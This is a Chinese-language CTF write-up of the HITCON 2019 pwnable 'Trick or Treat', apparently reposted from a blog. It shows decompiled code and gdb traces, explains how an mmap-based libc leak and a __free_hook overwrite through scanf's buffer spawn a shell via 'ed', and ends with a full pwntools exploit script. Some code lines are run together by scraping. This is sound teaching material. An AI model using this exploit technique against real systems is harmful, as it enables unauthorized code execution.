Trick or Treat

  • A+
所属分类:CTF专场

Challenge

  • 题目:Trick or Treat

  • 类型:pwnable

  • 来源:HITCON CTF 2019 Quals

  • 环境:Ubuntu 18.04

  • 难度:Easy

Analysis

照惯例检查一下题目开启的保护

gdb-peda$ checksecCANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : ENABLEDRELRO     : FULL

载入IDA后,仅有一个主函数,可以很快理清其逻辑。程序首先打印出了malloc的heap地址,紧接着给了两次相对地址写。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){  signed int i; // [rsp+4h] [rbp-2Ch]  size_t size; // [rsp+8h] [rbp-28h]  __int64 offset; // [rsp+10h] [rbp-20h]  __int64 value; // [rsp+18h] [rbp-18h]  _QWORD *addr; // [rsp+20h] [rbp-10h]  unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u); size = 0LL; index = 0LL; data = 0LL; addr = 0LL; setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); write(1, "Size:", 5uLL); __isoc99_scanf("%lu", &size); addr = malloc(size); if ( addr ) { printf("Magic:%pn", addr); for ( i = 0; i <= 1; ++i ) { write(1, "Offset & Value:", 0x10uLL); __isoc99_scanf("%lx %lx", &offset, &value); addr[offset] = value; } } _exit(0);}

一般情况下,当malloc分配的大小较小时,我们得到的堆地址相对于其他段的偏移是随机的,并且结合题目给的相对地址写,此时的堆是比较干净的,难以劫持控制流。但是当malloc的大小超过top chunk的大小0x20db0且超过mp_.mmap_threshold的大小0x20000glibc-2.27/malloc/malloc.c#2306),会使用mmap以页为单位分配,此时heap的地址相对于libc便是固定的,因此我们可以间接计算出libc的基址。

gdb-peda$ p 0x7ffff7fc5000-0x00007ffff79e4000$1 = 0x5e1000

接下来我们有两次相对libc写的机会。由于在这之后,程序直接调用exit(0)结束,我们能做文章的地方只有在scanf里面了。注意到scanf的第一个参数是"%lx %lx",当我们的输入一直是0x0-0xf时,我们输入的数据会保存在char_buffer结构里,这段buffer初始在栈上,当这段buffer的大小大于0x400时,会在scratch_buffer_grow_preserve里调用malloc从heap段分配更大的buffer,并且在结束时在scratch_buffer_free释放这段buffer。

#0  __GI___libc_malloc (bytes=[email protected]entry=0x800) at malloc.c:3028#1  0x00007ffff7a81198 in __GI___libc_scratch_buffer_grow_preserve (    buffer=[email protected]entry=0x7fffffffde50) at scratch_buffer_grow_preserve.c:37#2  0x00007ffff7a513e8 in scratch_buffer_grow_preserve (buffer=0x7fffffffde50)    at ../include/scratch_buffer.h:113#3  char_buffer_add_slow (ch=<optimized out>, buffer=0x7fffffffde40) at vfscanf.c:243#4  char_buffer_add (ch=<optimized out>, buffer=0x7fffffffde40) at vfscanf.c:263#5  _IO_vfscanf_internal (s=<optimized out>, format=<optimized out>,    argptr=[email protected]entry=0x7fffffffe2c0, errp=[email protected]entry=0x0) at vfscanf.c:1799#6  0x00007ffff7a5ffd8 in __isoc99_scanf (format=<optimized out>) at isoc99_scanf.c:37#7  0x0000555555554955 in ?? ()#8  0x00007ffff7a05b97 in __libc_start_main (main=0x55555555484a, argc=0x1, argv=0x7fffffffe4b8,    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,    stack_end=0x7fffffffe4a8) at ../csu/libc-start.c:310#9  0x000055555555476a in ?? ()

那么,有了malloc和free,我们自然可以联想到经典的__malloc_hook和__free_hook,这样我们就可以劫持控制流,并且这段buffer也是我们可控的。但是,这段buffer如前描述,只能包含0x0-0xf。这似乎给我们带来了一点麻烦,然而天无绝人之路,我们可以在/bin目录下找到ed这个命令,构造system("ed")。

# https://gtfobins.github.io/gtfobins/ed/ed!/bin/sh



Solution

完整利用脚本如下

from pwn import *
libc = ELF('./libc.so.6')
r = process('./trick_or_treat')
r.sendlineafter('Size:', str(0x21000))r.recvuntil('Magic:')heap = int(r.recvuntil('n'), 16)libc.address = heap - 0x5e1010
log.success('heap address:' + hex(heap))log.success('libc address:' + hex(libc.address))
p = ''p += hex((libc.symbols['__free_hook'] - heap) / 8)p += ' 'p += hex(libc.symbols["system"])log.success(p)r.sendlineafter('Offset & Value:', p)r.sendlineafter('e:''1' * 0x410 + ' ' + 'ed')
log.success('get shell')r.sendline('!/bin/sh')r.interactive()



原文始发于微信公众号(pwnable):Trick or Treat

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: